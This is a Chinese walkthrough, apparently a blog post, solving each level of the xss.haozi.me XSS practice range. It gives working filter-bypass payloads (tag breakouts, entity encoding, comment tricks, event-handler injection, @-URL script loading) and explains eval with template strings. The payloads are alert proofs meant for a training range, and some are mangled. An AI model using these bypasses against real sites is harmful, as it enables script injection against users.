xss.haozi.me练习通关
靶场连接就是xss.haozi.me
0x00
这一关也没有啥限制,就直接输出就可以了
< script>alert(0)< /script >
0x01
这一关的输出是在< textarea >标签里面的,但是这个标签只能输入文本,所以只能先将标签闭合,然后进行弹窗。
< /textarea>< script>alert(1)< /script>< textarea>
0x02
这个就是将input标签先闭合上,然后再进行输入弹窗就可以了。
aaa">< script>alert(1)< /script>
0x03
这一关是将括号给过滤掉了,也就是说alert()的括号不可以直接打印出来,所以这里可以采用两种方式,一种是编码的形式,另一种就是使用反引号来代替括号。
< script>alert& #40;1& #41;< /script>
< script>alert`1`< /script>
这里使用的``是模板字符串,所以针对这个可以细分知识点。
1.模板字符串的用法:
`string text`
`string text line 1`
`string text line 2`
`string text ${expression} string text`
tag `string text ${expression} string text`最后一个为带有标签的字符串,可以将他分为一下四种情况:
2. eval `$prompt(1)} `
js中,eval只有在字符串的情况下才会进行全局寻找,如果是其他型是的则会直接原样返回
t他的返回结果是:
这个过程中,模板字符串是先执行函数在执行eval,首先模板字符串的左右是没有值得,所以这返回的是空值,然后函数返回的是我们刚刚输入的aaa,eval收到了2个参数,一个是空的数组,另一个就是aaa,但是eval只能接收一个值,所以接收的是先回来的空数组,所以这里返回的就是空值。
3.eval`{‘prompt(1)’}`
这个过程和上一个是一样的,也是先执行模板字符串然后再执行eval,但是在执行prompt的时候,他是当做字符串进行输出的,所以他是不能弹窗的,这样的情况下也是传回了2个值,但是eval只能接收一个,所以接收的也是空数组。
4.eval.call`${‘prompt’}`
这种情况可以看到是有弹窗的,并且返回的值是:
这里和前两个的区别就是多了一个call方法,
call方法的作用:可以改变this的指向,如果执行的第一个值为空值得话,eval指定的是全局,但如果不是的话,则将该数作为定义的名字进行查找。
所以这个也是先执行模板字符串,他也是将{}里面当做了字符串,然后返回的依旧是空数组和弹窗所输入的值,然后call方法可以接受两个值,而这里也返回了两个值,第一个值为空,所以this指向了全局变量,全局变量里面是有prompt这个函数的,所以返回的就是咱么刚刚输入的那个值。5.eval.call`prompt(1)`
这个返回的是prompt(),不是空值,所以指向的不是空值了,但是,==在eval的官方文档中有一句话就是:因为eval的别名调用的形式五花班恩,只要不是直接调用,都属于别名调用,又因为引擎只能分辨eval()这一种形式是直接调用,所以可以默认为调用后的作用域依旧是别名。==所以仍然是全局里面查找,然后又没有给prompt传值,所以是undefined。
6.eval.call`${prompt(1)}`
这个可以将弹窗执行出来,但是返回的结果是:
这里依旧先执行模板字符串,这里的字符串是可以弹出的,并且给她的返回值是bbb,这里传回的两个值是空数组和bbb,因为使用了call方法,并且第一个返回值是空,所以指向了全局变量,但是在全局中没有定义bbb,所以返回的是bbb is not defined。如果定义了bbb,则返回的结果就是你定义的那个值。
这里就可以看到,我先定义了bbb是123,在此执行的时候,返回的值就是123了。
0x04
这一关和上一关相同,但是它把反引号也过滤了,所以就只能使用编码的方式了。
< script>alert& #40;1& #41;< /script>
0x05
这一关将注释符号(–>)过滤成了一个笑脸的表情,但是我们又需要把注释给闭合上,所以可以使用另一种注释的符号(–!>)
–!>< script>alert(1)< /script><!–
0x06
这里将auto或者on过滤成了_,并且是在input标签输出,所以这里可以将type的值改成imge的形式进行输出,并且使用换行的方式来停止以on开头=结尾变成_。
type="image"src=1 onerror
=alert(1)
0x07
这一关过滤了标签符号,所以没有办法写标签,也没有办法闭合。但是html中img标签是可以不写后面的“>”,因为它有一种纠错机制,
<img type=“image” src=1 οnerrοr=alert(1)//
0x08
这一关限制了不可以对style标签进行闭合,一旦出现< /style>会转变为“坏人”,但是html中将标签换行也是可以识别的,所以可以换行处理标签。
</style
< script>alert(1)< /script>
< style
0x09
这一关必须以https://www.segmentfault.com为开头,否则不能输入,然后就将script标签闭合在写点击事件就可以了。
https://www.segmentfault.com">< /script><svg/οnlοad=alert(1)< script>
0x0A
这里可以使用@的小技巧。
以@分隔的话前面表示的是用户名和密码,后面表示的是登录的网站和端口,也可以以表示重定向到第二个网站。
0x0B
这里用到了将所有字母转大写。可以使用编码来转换。
< svg/οnlοad=& #97;& #108;& #101;& #114;& #116;(1)>
0xC
这一关过滤了script,并且将字母转为大写。可以使用编码来进行。
<svg/οnlοad=& #97;& #108;& #101;& #114;& #116;(1)>
0x0D
这关过滤了斜杠,但是要闭合注释,所以和使用换行的方式。
alert(1)
–>
0x0E
这关和第10关很解法相似,都是指定到其他地方进行调转。
https://www.segmentfault.com@127.0.0.1/te.js
0x0F
这一关就是将一些符号进行了编码;但是这也是可以识别的,所以就是将src闭合,然后写弹窗,然后将后面注释
aaa’),alert(1)//
0x10
这里就是直接输入,所以可以直接输入
alert(1)
0x11
这关将一些字符转换了,也是先将那个闭合,然后进行弹窗。
"),alert(1)//
0x12
这一关将"过滤成了",所以可以使用转义符号将先将\转义,就可以过关了。
"),alert(1)//
xss.haozi.me练习通关相关推荐
- xss.haozi.me通关教程
10.xss.haozi.me通关教程 0x00 首先整体浏览网站 分别是xss注入点,注入后的HTML代码以及网页源码 构造常规payload: <script>alert(1)< ...
- xss靶场、xss.haozi.me靶场详细通关教程
文章目录 前言 预备知识 HTML编码 img的可拓展 各种payload形式 0x00 0x01 0x02 0x03(使用了正则过滤圆括号) 其它解法 0x04(使用正则过滤圆括号和反引号) 0x0 ...
- xss.haozi 思路总结 0x00-0x12
xss刷题网站2 https://xss.haozi.me/ 一个非常可爱的网站.这是网站界面,题目序号是十六进制,一共19道题. 0x00 直接输入<script>alert(1)< ...
- XSS表情包靶场通关记录
平台 alert(1)https://xss.haozi.me 0X00 源码无防护,直接常规payload绕过 <script>alert(1)</script> <s ...
- XSS靶场level15详细通关教程
我的一个朋友这些天在家找工作,利用间隙时间重温一下XSS靶场.可是做到第15关的时候,怎么也无法通关.我这个朋友在15关卡住了2天.最后终于找到了问题的根源.[这个朋友使用的是在线靶场,如果你是自己搭 ...
- XSS小游戏的通关之路
1.开始 <script>alert('a')</script><script>alert(1)</script><script>confi ...
- XSS学习笔记:XSS Game(xss.pwnfunction.com)1-11通关全解
前言 继续学习XSS 本篇是XSS Game平台的通关全解 1.Ma Spaghet! 源码 一个不安全的方式 直接get传输somebody 输入123看看位置 ?somebody=123 那就很简 ...
- 独孤九剑xss通关教程
独孤九剑xss通关教程 独孤九剑第一式: 这里过滤了 =() 构造payload: ?data="><svg><script>%26%23x65%3B%26%2 ...
- xss绕过字符过滤_XSS绕过实战练习
前言 写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下.有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战 ...
- switchyomega插件_CTF|你所关注的CTFer都在用的插件合集【附:XXE补给+CTF训练集】...
不看后悔系列,建议收藏 相信大家对 CTF 都不陌生了,今天为大家带来了一系列 CTF 必备 Chrome 插件. CTF 可能很多人想学 CTF,但又怕零基础学不懂.其实,CTF 并没有那么难. C ...
最新文章
- ICLR20 | GraphZoom:可缩放图嵌入
- mysql %w_MySQLDATE_FORMAT()函数
- html 显示代码块,使用Pre在文章中显示代码块 - 文章教程
- Java线程之守护线程(Daemon)
- SAP CRM WebClient UI cross component跳转中有一个硬编码的CROSSNAV
- QT添加rtmp库的时候出现问题
- php版本7历史,php的版本发展历史(1995-2020)
- 对比Oracle和Mysql在锁机制上的类似和差异点
- 首提 Database Plus 新理念,SphereEx 获数百万美元天使融资,接棒 ShardingSphere 打造新型分布式生态
- 【高斯和拉普拉斯为什么分别对应L2和L1?】差分隐私系统学习记录(五)
- Linux下启动、停止J2SE程序(脚本)
- 丹佛斯冷媒尺汉化下载_koolapp手机版
- PM981/PM981a安装黑苹果-VM Ware教程
- 在线DES加密解密、DES在线加密解密、DES encryption and decryption
- python颜色参数palette_数据可视化Seaborn从零开始学习教程(二) 颜色调控篇
- R语言数据可视化-箱线图
- 气象接口返回图标_国家气象局提供的天气预报接口及使用说明
- PPP over Ethernet(PPPoE)协议
- VS2017离线安装失败解决无法重新安装问题 catalog问题
- 带你彻底搞懂锁膨胀,偏向锁,轻量级锁,重量级锁
热门文章
- idou老师教你学Istio11 : 如何用Istio实现流量熔断
- 我的理想600字作文计算机方面,我的理想作文600字当一名老师(共8篇)
- 什么是网络爬虫?有哪些作用?如何构建?
- 机器学习:数学加强(二)——条件概率、贝叶斯公式、常见分布、协方差、相关系数、切比雪夫不等式、大数定律
- 在 Vue 中使用lodash对事件进行防抖和节流
- 三国志战略版360区S4服务器合并信息,三国志战略版S3合区表 新赛季哪些服务器合区...
- 误码率matlab,关于误码率的问题 急!!!!!
- C++之客户消费积分管理系统
- 毕业三年,坚持学习两年,成功上岸字节跳动,背水一战
- linux上命令调用smplayer,Linux播放器——RedHat下MPlayer和SMPlayer的安装